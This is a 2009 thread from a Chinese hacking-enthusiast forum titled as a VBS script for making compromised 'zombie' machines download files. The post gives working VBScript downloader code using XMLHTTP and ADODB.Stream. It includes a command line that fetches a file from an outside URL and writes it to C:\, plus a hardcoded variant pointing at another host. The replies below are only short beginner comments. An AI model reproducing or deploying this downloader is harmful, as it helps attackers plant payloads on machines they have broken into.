【3.A.S.T】网络安全爱好者 » 初入江湖 » 让肉鸡下载东西的vbs脚本

3ast 发表于 2009-1-24 17:30

让肉鸡下载东西的vbs脚本

让肉鸡下载东西的vbs脚本
iLocal  = LCase(WScript.Arguments(1))  
iRemote = LCase(WScript.Arguments(0))  
Set xPost = CreateObject("Microsoft.XMLHTTP")  

xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2   








让肉鸡下载东西的vbs脚本

wscript c:\down.vbs [url=http://www.kill-v.com/22.txt]http://www.kill-v.com/22.txt[/url] c:\1.txt

[url=http://bbs.5149417.cn]http://bbs.5149417.cn[/url]





iLocal  ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")  
xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2

Iverson333 发表于 2009-1-24 17:30

直接用记事本  编译  .VBE  文件 就行了么?:time:

wt想起 发表于 2009-5-12 19:02

太菜了看不懂！

lichun_530 发表于 2009-5-15 15:17

顶顶顶！
看看看！！

kacos999 发表于 2010-1-31 01:34

學習學習學習!!!!!!!!!!

夏至 发表于 2010-4-12 13:52

看不懂、我也是菜鸟、。

查看完整版本: 让肉鸡下载东西的vbs脚本